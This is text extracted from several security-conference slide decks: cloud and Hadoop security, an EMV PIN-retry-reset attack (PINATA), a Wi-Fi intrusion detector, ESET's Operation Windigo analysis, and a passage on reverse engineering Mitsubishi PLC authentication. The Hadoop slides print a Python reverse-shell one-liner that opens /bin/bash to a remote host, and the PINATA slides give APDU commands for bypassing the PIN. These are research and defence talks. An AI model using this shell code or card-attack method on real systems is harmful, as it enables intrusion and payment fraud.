深入浅出云计算安全 吴翰清 2012-07 Who am I? •  Alibaba security (7 years) (3个月,1w册) icloud是云吗? 互联网未来的入口 随时随地上网 改变了使用互联网的方式 但这不是传统意义的云计算 云计算的前世今生 电厂模式 Utility Computing 网格计算 云计算 云计算的使命 Computing as Utility 两种云计算 弹性计算 海量数据计算 弹性计算改变建站方式 按需使用,按需付费 专业运维服务化 快速部署,自助开通 互联网的长尾用户 中小站长、创业者 运营商、政府、公安、金融 “奢侈品”变成“消费品” 弹性计算冲击安全产业 “销售模式”变成“互联网模式” Security as a Service 结论:变革的浪潮就在眼前 弹性计算的安全挑战 巨大的共享环境 网络安全问题 虚拟化技术安全问题 •  全虚拟化、半虚拟化、操作系统级虚拟化 •  虚拟机逃逸问题 (CVE-2011-1898) •  D.O.S. Hardware Hypervisor Domain 0 Guest OS Domain U … Guest OS Domain U Host xx XEN的DOS • CVE-­‐2012-­‐2625  XEN  4.x • CVE-­‐2010-­‐4255  XEN  4.0.1 • CVE-­‐2010-­‐4247  XEN  3.4.0 • CVE-­‐2010-­‐3699  XEN  3.x AppEngine的环境安全 •  Java sandbox •  PHP sandbox 语言级沙箱 系统级沙箱 CVE-2012-0507 •  Attacking java security manager 突破java sandbox 弹性计算的网络安全 防火墙API 防止ARP 欺骗、srcip伪造 自动化清洗DDOS 海量数据计算的安全 以hadoop为例 Map-Reduce简介 海量数据计算的安全挑战 保护用户数据 隐私数据 互联网公司使用hadoop的方式 •  Hadoop 为linux设计 •  共享“gateway” 共享”gateway”的问题 /home: Hacking Hadoop 原始数据的导 入计算结果的 导出 运行环境安全 并不仅仅是 认证与授权 Map-Reduce job/UDF •  用户上传的java code •  缺乏sandbox String pysh = "#!/bin/sh\r\npython -c \"import os;import sys;import socket;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname ('10.x.x.x'),9999));s.send('Welcome my master\\r\ \n');os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send('Is there a shell?\\r\ \n');os.system('/bin/bash');s.close();s.send('See u next time! \\r\\n');\""; DEMO 如何解决隐私问题? 张三 男 13307491234 北京市⼀一号胡同 李四 女 13466655678 天津市二号小区 Data Masking 保留统计信息,掩盖个人信息 张A 男 1330749xxxx 李C 女 1346665yyyy 北京市ABCD胡同 43010419990909MMM1 天津市EFGH小区 42010519880808NNN4 总结 云计算改变互联网 弹性计算的环境安全、网络安全 海量数据计算的数据安全、隐私 问题 Question? 联系我 •  微博 – h5p://weibo.com/n/aullik5 – h5p://t.qq.com/aullik5 •  博客 – h5p://hi.baidu.com/new/aullik5
pdf
PINATA //PIN Automatic Try Attack Salvador Mendoza Security Researcher Ocelot Offensive Security Team Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] 03 02 01 Agenda Introduction to terminology EMV Transaction Flow Inadequate implementation Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] 05 04 Agenda Demo Conclusions Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Terminology Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Secure Element Cardholder Verefication Method Aplication Protocol Data Unit SE CVM APDU Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Intraged Circuit Card PIN Retry Counter Authorization Response Code ICC PRC ARC/ARPC Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] EMV Contact Payment Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Contact payments rely on physical contact between the card and the terminal. In a contact payment, the card user inserts, or “dips,” the EMV card into the terminal for the duration of the transaction. Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] ISO 7816: Contact Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] APDU Protocol Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] APDU Command Example Terminal command: 0000: 00 A4 04 00 0E 31 50 41 59 2E 53 59 53 2E 44 44 0010: 46 30 31 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] APDU Command Example 00 = Class A4 = Instruction 04 = Parameter 1 00 = Parameter 2 0E = Command length 31 50 41 59 2E 53 59 53 2E 44 44 46 30 31 = Command 00 A4 04 00 0E 31 50 41 59 2E 53 59 53 2E 44 44 46 30 31 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] APDU Reponse Example Card response: 0000: 6F 1E 84 0E 31 50 41 59 2E 53 59 53 2E 44 44 46 0010: 30 31 A5 0C 88 01 01 5F 2D 02 65 6E 9F 11 01 01 0020: 90 00 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] APDU Response Example 6F 1E 84 0E 31 50 41 59 2E 53 59 53 2E 44 44 46 30 31 A5 0C 88 01 01 5F 2D 02 65 6E 9F 11 01 01 = Data 90 = SW1 00 = SW2 6F 1E 84 0E 31 50 41 59 2E 53 59 53 2E 44 44 46 30 31 A5 0C 88 01 01 5F 2D 02 65 6E 9F 11 01 01 90 00 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Breaking apart APDU Response 6F 1E 84 0E 31 50 41 59 2E 53 59 53 2E 44 44 46 30 31 A5 0C 88 01 01 5F 2D 02 65 6E 9F 11 01 01 90 00 https://emvlab.org/ Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] EMV Laboratory Middleware Assistant Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] // Simtrace 2 // ELMA Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] • USB – C • ESP32 • WiFi • Different adapters • Dual modes Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] ELMA Toolset • Sniffer • Emulator § MiTM o Alter CVM order o Change terminal command o Adapt card response o Modify any EMV tag value § APDU Fuzzer § PINATA Attack • Relay Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Inadequate Implementation Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] CVM: Cardholder Verefication Method • No CVM required • Fail CVM processing • Signature-Paper • Enciphered PIN verified on-line • Plaintext PIN verification performed by ICC • Plaintext PIN AND Signature-Paper • Enciphered PIN by ICC • Enciphered PIN by ICC AND Signature-Paper Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] CVM Example Card response 52 bytes: 0000: 70 30 9F 0D 05 BC 50 BC 88 00 9F 0E 05 00 00 00 0010: 00 00 9F 0F 05 BC 70 BC 98 00 8E 12 00 00 00 00 0020: 00 00 00 00 42 03 44 03 41 03 1E 03 1F 03 9F 4A 0030: 01 82 90 00 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] CVM: Cardholder Verefication Method Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] CVM: Cardholder Verefication Method Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Understanding CVM List 4203 Encrypted PIN online, if terminal supports CVM 4403 Encrypted PIN by ICC, if terminal supports CVM 4103 Plain PIN by ICC, if terminal supports CVM 1E03 Signature, if terminal supports CVM 1F03 No CVM required, if terminal supports CVM Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Plain PIN by ICC • Example of an APDU command to verify ”1234" PIN: 00 20 00 80 08 24 12 34 ff ff ff ff ff • Important EMV Card responses: 90 00 = Correct PIN 63 C2 = wrong PIN & two more attempts left 63 C1 = wrong PIN & one more attempt left 63 C0 = wrong PIN & no more attempts left Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Plain PIN by ICC PIN RETRY Counter = 0 How can we reset it to 3? Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] 2 Common ways to reset the PRC Special instruction from financial institution after the terminal issues first Generate AC (Application Cryptogram) The Issuer Authentication Data contains Authorization Response Cryptogram (ARPC) to verify approval/rejection • ARPC = MAC(ARQC || CSU || Proprietary Authentication Data) • CSU = Card Status Update contains data sent to the ICC to indicate whether the issuer approves or declines the transaction, and to initiate actions specified by the issuer Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Normal ARC Example Terminal command - 34 bytes: GENERATE CRYPTOGRAM 0000: 80 AE 50 00 1D 4D 71 34 10 5C 12 3B 59 00 12 30 0010: 30 00 00 00 80 00 09 BF EE BF 1A 39 91 D5 28 7E 0020: 6F A8 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Reset RTC - ARC Example Terminal command - 34 bytes: GENERATE CRYPTOGRAM 0000: 80 AE 50 00 1D 50 1B 0F 3B 49 51 39 1F 03 1A 30 0010: 30 00 00 00 80 00 47 F8 F5 CE 3B 2C 31 27 11 D8 0020: 0E 51 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] PINATA Attack • Plain PIN by ICC • PIN RETRY Reset by issuer when the PRC is 0 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] ELMA Setup: PINATA Attack • GPD Pocket 2 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] ELMA Setup: PINATA Attack • GPD Pocket 2 • Card Reader SCR3310 Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] ELMA Setup: PINATA Attack •ELMA •SumUP Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] ELMA Setup: PINATA Attack •Auto Clicker Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] ELMA Setup: PINATA Attack • GPD Pocket 2 • Card Reader SCR3310 • ELMA • SumUP Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] ELMA Setup: PINATA Attack Virtual card reader ELMA Terminal Card reader Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Demo Esta información es propiedad de Metabase Q, Inc., ©Todos los Derechos Reservados metabaseq.com [email protected] Thank you • Philippe Teuwen • Nahuel Grisolía • Daniela García • Metabase Q Team [email protected] +52 55 2211 0920 // Better Base, Better Future Salvador Mendoza Metabase Q Security Researcher
pdf
beholder DefCon 16 Beholder Nelson Murilo nelson(at)pangeia.com.br Luiz Eduardo le (at) atelophobia.net beholder DefCon 16 Agenda  Who are we?  Evolution of WiFi attacks  Attack tools  Threats  Solutions  The inner of Beholder?  What does Beholder detect?  What Beholder doesn't do  Scenarios  Futures beholder DefCon 16 Wi-Fi Attacks beholder DefCon 16 DoS beholder DefCon 16 MiTM beholder DefCon 16 Impersonation beholder DefCon 16 Surveillance beholder DefCon 16 Packet Injection beholder DefCon 16 Crypto Cracking  WEP  WPA beholder DefCon 16 Client-Side  AdHocs Circa beholder DefCon 16 Rogue APs beholder DefCon 16 Impersonation 2.0  Evil-twin  More rogue-aps beholder DefCon 16 Drive-By Pharming beholder DefCon 16 Faster Crypto-Cracking beholder DefCon 16 Rogue Radius Servers beholder DefCon 16 Tools beholder DefCon 16 beholder DefCon 16 Solutions?  Introduction to WIDS... beholder DefCon 16 JUST KIDDING! beholder DefCon 16 State of WIDS (not the one below) beholder DefCon 16 Any free tools at all?  Roguescanner  ?? beholder DefCon 16 Here comes Beholder  No chipset or 802.11 standard limitations (yes, it works on 802.11n)  Based beacon frames beholder DefCon 16 802.11 Beacons  (sometimes) more than you can expect beholder DefCon 16 beholder DefCon 16 beholder DefCon 16 beholder DefCon 16 Beholder Detects and Reports  Changes on AP (ESSID, MAC, Mode)  Channel changes  Huge signal level variations  Missing Aps  And more... beholder DefCon 16 beholder DefCon 16 Other cool stuff beholder DefCon 16 Things we DON'T do  Sniffing on any interface types  Put 802.11 interfaces in monitor mode (hence not checking for de-auths and such)  WPA/WEP Cracking  Detect client or AP authentication failed beholder DefCon 16 (some of the) design challenges  Easy to install and use  Comprehensive  Scanning time differences per adapter  Madwifi “caching” issue  Make it with as few dependencies as possible  Written in a fast language  C Ansi beholder DefCon 16 Caveats  For now... beholder DefCon 16 Futures of Beholder beholder DefCon 16 Karma Detection B Karma Lk3Adf K3fdhg HjvfAp Lk3Adfk K3fdhg HjvfAp beholder DefCon 16 B I don't care beholder -m “mynets” wifidev Scenarios Alerting for missing APs D e mynets mynets mynets mynets beholder DefCon 16 default B I don't care mynets mynets mynets mynets mynets-wifi beholder -r “myne[t7]s.*” wifidev Scenarios checking for similar essids via RegEX beholder DefCon 16 Scenarios Huge environments Syslog server B B B beholder -s wifidev swatch calling email/sms/snmp trap/etc beholder DefCon 16 Demo? beholder DefCon 16 And remember  Even great tools might not help in all situations beholder DefCon 16 Beholder could help a bit though beholder DefCon 16 What's next on wifi attacks?  802.11n rogue aps? Nahh  802.11n greenfield DoS type of attacks? (maybe) beholder DefCon 16 Now available at http://www.beholderwireless.org beholder DefCon 16 beholder DefCon 16 thanks!
pdf
Oh Sieng Chye, Researcher ESET ASIA (Singapore) ESET Researchers Acknowledgement 2 Partners Acknowledgement 3 Introduction ESET research team published a paper titled "Operation Windigo", detailing how thousands of Linux and Unix servers were compromised, and used to steal SSH credentials, and redirect web visitors to malicious content and send spam. Provide an overview of this campaign, and the three main malicious components of this operation:  Linux/Ebury – an OpenSSH backdoor used to keep control of the servers and steal credentials  Linux/Cdorked – an HTTP backdoor used to redirect web traffic  Perl/Calfbot – a Perl script used to send spam 4 Introduction The objective of this campaign is to gain monetary rewards. It is done via the followings ways:  Spam  User’s infection via drive-by downloads  Redirection of web traffic to advertisement networks 5 Timeline 6 Timeline 7  September 2013 : ESET captures network traffic from a server infected by Linux/Ebury running a reverse proxy service used as a target for Linux/Cdorked redirections, revealing over 1,000,000 web redirections in 48 hours.  October 2013: ESET captures 72 hours of network traffic revealing more than 12,000 servers infected with Linux/Ebury.  January 2014: ESET captures network traffic during three distinct 24-hour periods from a server running both a Linux/Ebury exfiltration service and a Perl/Calfbot command and control reverse proxy, revealing an average of 35 million spam messages sent daily. High Level Operation 8 High Level Operation Several piece of malware used in the campaign:  Linux/Ebury runs mostly on Linux servers. It provides a root backdoor shell and has the ability to steal SSH credentials.  Linux/Cdorked runs mostly on Linux web servers. It provides a backdoor shell and distributes Windows malware to end users via drive-by downloads.  Perl/Calfbot runs on most Perl supported platforms. It is a lightweight spam bot written in Perl.  Win32/Boaxxe.G, a click fraud malware, and Win32/Glupteba.M, a generic proxy, run on Windows computers. These are the two threats distributed via drive-by download. 9 Relationship of Malware Components vs Activity/Service 10 High Level Operation Sheer number of infected servers supporting the malicious activities Two type of victims:  Windows end-users visiting legitimate web sites hosted on compromised servers  Linux/Unix servers operators whom servers were compromised The malicious actors using these compromised servers to run one or more malicious services necessary for managing their whole operation 11 Credentials Stealing 12 Credentials Stealing Two scenarios SSH credentials are stolen:  Successful logon of a user on a infected server  User logon to another system using a compromised server Linux/Ebury backdoor is use for stealing credential Backbone of the Windigo operation 13 Credentials Stealing  Credentials intercepted by Linux/Ebury send to exfiltration servers via custom DNS queries  Used to further spread infection  Criminal gang appear to have good operational security  Never directly connect to any compromised server  Used anonymizing tunnel on another compromised server  Fetch stolen credentials stored on various infected servers 14 Infection Scenarios 15 Linux/ Ebury Infected Hosts 16 Top 5 Infected Countries 17 Web Traffic Redirection 18 Web Traffic Redirection Infected web servers with Linux/Cdorked redirect users to exploit kit servers, which in turn attempt to infect users with malware. This malicious action follows the below steps: 1. Victim visits a legitimate website, which is a Linux/Cdorked infected server. Victim is being redirected to a specially crafted subdomain of a legitimate domain name. 2. The nameserver of the legitimate domain, infected with another component of the Windigo operation named Linux/Onimiki, returns an IP address encoded in the subdomain. Thus, it allows the Windigo operation to make use of legitimate nameservers, making network-based detection harder. 3. Reverse proxy servers on exploit serving machines are used to exploit victims, if successful, deliver malicious payload to victims; failing which, victims are redirected to advertisements. 19 Stolen SSH Passwords  Monitored data sent to exfiltration servers  5,362 unique successful logins from 2,840 different IP address  No surprise a large number of root credentials are stolen, as malware must be installed as root.  The higher number of root passwords, result in higher number of infections  Vicious cycle resulting in greater chances of stealing other root credentials 20 Statistics SSH Passwords Statistics SSH Passwords  Average length of password is 11.09 characters, much longer than the 7.63 average discovered in LulzSec leak in 2011  Shows that system administrators are more conscious on importance of strong password  Passwords are well chosen, and generally do not contain repeating patterns  33% of passwords contain at least one special character and average length of 11 characters.  This is generally secure against brute force attempts 22 Spam Analysis One way the Windigo operators are monetizing through this campaign is by sending spam email. Two methods are used:  Servers infected with Perl/Calfbot  End-user workstations infected with Win32/Glupteba.M We used two approaches to understand the volume and type of spam send via the Perl/Calfbot infrastructure, namely:  Fake Bot  C&C Traffic Analysis 23 Fake Bot  Analysis period from August 2013 to February 2014  A fake client is used to fetch spam jobs from C&C server  Spam jobs consists of multiple email templates and list of recipient email addresses  Fake Bot retrieved 13,422 different spam jobs targeting 20,683,814 unique email addresses 24 Fake Bot 25 C&C Traffic Analysis  Analysed network traffic captured on 1 C&C servers over 24-hour period over 3 weeks for the month of January 2014  Infected servers reported daily average of 35 million successful spam messages 26 Redirected End Users  Through analysis of network traffic captured from a reverse proxy, we observed more than 1.1 million different IP addresses going through this server, and being redirected to exploit kit servers.  When a user's computer is redirected to a front-end reverse proxy, it starts a series of back-and- forth communications with the exploit kit server. In the end, user's computer may be infected with malware if it is vulnerable to the exploit  The Blackhole kit was used by Windigo operators here, targeting Windows users. In October 2013, the operators switched to Neutrino exploit kit, after the arrest of alleged Blackhole author. In March 2014, we observed the use of Flashback  Two distinct malware families were distributed by the exploit kit. Specifically from USA, UK, Canada and Australia were infected with Win32/Boaxxe.G, whereas others were infected with Win32/Leechole,a dropper which then installed Win32/Glupteba.M 27 Redirected End Users 28 Redirected End Users 29 NOT the end……  The purpose of the operation seems to be monetary profit. This profit is gathered through various ways including redirecting web users to malicious content and sending unsolicited emails.  From this presentation, we hope to reach out to the general public, the researcher community and system administrators who had the responsibility of managing of servers on the Internet.  One message we would like reader/audiences to take away is that: Password-based login to servers should be a thing of the past. One should seriously consider two-factor authentication or, at least, a safe use of SSH keys. 30 ESET Blog: www.welivesecurity.com Operation Windigo: http://www.welivesecurity.com/2014/03/18/opera tion-windigo-the-vivisection-of-a-large-linux- server-side-credential-stealing-malware-campaign/ White Paper: http://www.welivesecurity.com/wp- content/uploads/2014/03/operation_windigo.pdf Indicators of Compromise: https://github.com/eset/malware-ioc For any technical inquiries please contact: [email protected] More details…… 31
pdf
© 2021 TXOne Networks Inc. Taking Apart and Taking Over ICS-SCADA Ecosystems A Case Study of Mitsubishi Electric Mars Cheng Selmon Yang August, 2021 @DEF CON 29 © 2021 TXOne Networks Inc. Who are we? A subsidiary company under Keep the Operation Running Threat Defense Expertise Industry Adaptive Solution OT-Focused Technology Trend Micro Inc © 2021 TXOne Networks Inc. x Who are we? x Mars Cheng • Spoke at Black Hat, HITB, HITCON, SecTor, ICS Cyber Security Conference, InfoSec Taiwan and etc. • Instructor of Ministry of National Defense, Ministry of Education, Ministry of Economic Affairs and etc. • General Coordinator of HITCON 2021 • Vice General Coordinator of HITCON 2020 Threat Researcher at TXOne Networks Selmon Yang Staff Engineer at TXOne Networks • IT/SCADA Protocol Parsing • Linux Kernel Programming • Honeypot Deployment & Optimization • In-depth ICS research specialist • Has spoken at CYBERSEC, HITB, and HITCON © 2021 TXOne Networks Inc. Outline • Modern ICS/SCADA Ecosystems Overview • Dissect and Compromise Mitsubishi Ecosystems • A Story of Reporting the Vulnerability • Mitigation and Closing Remarks © 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview © 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview • Market Share • Mitsubishi Electric • Largest in Asia Pacific • Top 3 in Global Market https://ipcsautomation.com/blog-post/market-share-of-different-plcs/ © 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview • PLC Manufacturers Ranked in Order of Industrial Automation Net Annual Sales Revenue Rank PLC Manufacturers Industrial Automation Revenue (millions of USD) Consolidated Revenue (millions of USD) 1 Siemens (Simatic) $18,281 $98,636 2 Mitsubishi Electric (Melsec) $13,346 $41,120 3 Emerson (GE Fanuc) $12,202 $18,372 4 Hitachi $8,654 $86,250 5 Bosch (Rexroth) $8,523 $88,319 6 Schneider Electric (Modicon) $7,172 $30,861 7 Eaton (Cutler-Hammer) $7,148 $21,390 8 Rockwell Automation (Allen Bradley) $6,694 $6,694 9 ABB (B&R Automation) $6,273 $27,978 10 Keyence $5,341 $5,341 https://ladderlogicworld.com/plc-manufacturers/ © 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview • Most Popular PLCs – Top 3 Mitsubishi Electric Market Share Ranking PLC Manufacturers PLC Brand Name/s 1 Siemens Simatic 2 Rockwell Automation Allen Bradley 3 Mitsubishi Electric Melsec 4 Schneider Electric Modicon 5 Omron Sysmac 6 Emerson Electric (GE) RX3i & VersaMax (GE Fanuc) 7 Keyence KV & V-8000 8 ABB (B&R Automation) AC500 X20 & X90 9 Bosch Rexroth ICL 10 Hitachi EH & H https://ladderlogicworld.com/plc-manufacturers/ © 2021 TXOne Networks Inc. Mitsubishi Ecosystem - Scope MELSEC iQ-R MELSEC Q MELSEC L MELSEC iQ-F MELSEC-F iQ-R Q iQ-F L F System Size Optimum Automation Control Area https://www.mitsubishielectric.com/fa/products/cnt/plc/pmerit/index.html © 2021 TXOne Networks Inc. Mitsubishi PLCs Application https://www.mitsubishielectric.com/fa/products/cnt/plc/pmerit/case.html Automotive iQ-R Q Food and Beverage, CPG iQ-R F Q L iQ-F Automated Warehouse iQ-R F Q iQ-F Semiconductor iQ-R Q © 2021 TXOne Networks Inc. Mitsubishi PLCs Application (Cont.) https://www.mitsubishielectric.com/fa/products/cnt/plc/pmerit/case.html General Automation iQ-R Q iQ-F Flat Panel Display(FPD) iQ-R Q Chemical iQ-R Q Inspection Machine iQ-R L F © 2021 TXOne Networks Inc. Mitsubishi PLCs Application (Cont.) https://www.mitsubishielectric.com/fa/products/cnt/plc/pmerit/case.html Building Automation iQ-R Printing iQ-R Q Injection Molding iQ-R F Q iQ-F Machine Tool iQ-R Q L iQ-F F Q iQ-F L F © 2021 TXOne Networks Inc. Related Work • Most ICS research focuses on Siemens-related topics: • [BH Europe 2019] Doors of Durin: The Veiled Gate to Siemens S7 Silicon • [BH USA 2019] Rogue7: Rogue Engineering Station Attacks on Simatic S7 PLCs • [BH Europe 2017] The spear to break the security wall of S7CommPlus • [BH USA/Asia 2016] PLC-blaster: A worm living solely in the PLC • [BH USA 2011 ] Exploiting Siemens Simatic S7 PLCs © 2021 TXOne Networks Inc. Relate Work • Other common topics include • [BU USA 2021] A Broken Chain: Discovering OPC UA Attack Surface and Exploiting the Supply Chain • TRITON, Industroyer, protocols used in building management • Attack vectors in different industries including chemical and power plants • Security research into ICS-related devices … • Even though the Mitsubishi ecosystem plays a pivotal role, we have yet to see any powerful research that gives it focus © 2021 TXOne Networks Inc. Reviewed Mitsubishi Vulnerabilities CVE Advisories_Number Advisories_Name CVE-2021-20591 ICSA-21-147-05 Mitsubishi Electric MELSEC iQ-R Series CVE-2021-20590 ICSA-21-112-02 Mitsubishi Electric GOT CVE-2021-20589 ICSA-21-131-02 Mitsubishi Electric GOT and Tension Controller CVE-2021-20588 ICSA-21-049-02 Mitsubishi Electric FA engineering software products (Update A) CVE-2021-20587 ICSA-21-049-02 Mitsubishi Electric FA engineering software products (Update A) CVE-2021-20586 ICSA-21-021-04 Mitsubishi Electric MELFA (Update A) CVE-2020-5675 ICSA-20-343-02 Mitsubishi Electric GOT and Tension Controller (Update A) CVE-2020-5668 ICSA-20-324-05 Mitsubishi Electric MELSEC iQ-R Series (Update A) CVE-2020-5666 ICSA-20-317-01 Mitsubishi Electric MELSEC iQ-R Series CVE-2020-5665 ICSA-20-345-01 Mitsubishi Electric MELSEC iQ-F Series CVE-2020-5658 ICSA-20-303-02 Mitsubishi Electric MELSEC iQ-R CVE-2020-5657 ICSA-20-303-02 Mitsubishi Electric MELSEC iQ-R CVE-2020-5656 ICSA-20-303-02 Mitsubishi Electric MELSEC iQ-R CVE-2020-5655 ICSA-20-303-02 Mitsubishi Electric MELSEC iQ-R CVE-2020-5654 ICSA-20-303-02 Mitsubishi Electric MELSEC iQ-R CVE-2020-5653 ICSA-20-303-02 Mitsubishi Electric MELSEC iQ-R CVE-2020-5652 ICSA-20-303-01 Mitsubishi Electric MELSEC iQ-R, Q and L Series (Update A) CVE-2020-5649 ICSA-20-310-02 Mitsubishi Electric GT14 Model of GOT1000 Series CVE-2020-5648 ICSA-20-310-02 Mitsubishi Electric GT14 Model of GOT1000 Series CVE-2020-5647 ICSA-20-310-02 Mitsubishi Electric GT14 Model of GOT1000 Series © 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview HMI EWS Historian PLC Field Devices Modbus/TCP Modbus/TCP Modbus/RTU © 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview HMI EWS Historian PLC Field Devices Siemens S7/S7+ Siemens S7/S7+ PROFINET © 2021 TXOne Networks Inc. Modern ICS/SCADA Ecosystems Overview HMI EWS Historian PLC Field Devices MELSEC-SLMP Modbus/TCP EtherNet/IP … MELSOFT CC-Link © 2021 TXOne Networks Inc. Dissect and Compromise Mitsubishi Ecosystems © 2021 TXOne Networks Inc. How to Compromise Mitsubishi Ecosystems HMI EWS Historian PLC Field Devices MELSEC-SLMP Modbus/TCP EhterNet/IP … MELSOFT CC-Link MELSOFT Attacker © 2021 TXOne Networks Inc. Melsoft Authentication • Omit to establish a connection and header, focus on Authentication 𝑀!. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑃𝑖𝑛𝑔 𝑀𝑠𝑔 𝑀". 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑃𝑜𝑛𝑔 𝑀𝑠𝑔 𝑀#. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑞𝑢𝑒𝑠𝑡 Send 0x5a0000ff to get Challenge Code EWS will generate 32 bytes and response to PLC with 0x0114 to pass the Authentication PLC returns the random 10 bytes Challenge Code. EWS will calculate the authentication code to pass the authentication based on the 10 bytes Challenge Code EWS PLC Reverse Engineering on GxWork2/3 𝑀$. 𝑀𝑒𝑙𝑠𝑜𝑓𝑡 𝑅𝑒𝑠𝑝𝑜𝑛𝑠𝑒 © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 © 2021 TXOne Networks Inc. Reverse Engineering on GxWork2/3 (Cont.) • After Get random 10 bytes Challenge Code 1. 𝑋𝑜𝑟𝑒𝑑_𝑏𝑢𝑓𝑓𝑒𝑟 = 𝐶ℎ𝑎𝑙𝑙𝑒𝑛𝑔𝑒 𝐶𝑜𝑑𝑒 ⨁𝑥𝑜𝑟_𝑏𝑎𝑠𝑒_ℎ𝑒𝑥 2. Change the Xored_buffer place 𝑥𝑜𝑟_𝑏𝑎𝑠𝑒_ℎ𝑒𝑥 = {0𝑥4𝑑, 0𝑥45, 0𝑥4𝑐, 0𝑥53, 0𝑥45, 0𝑥43, 0𝑥2𝑑, 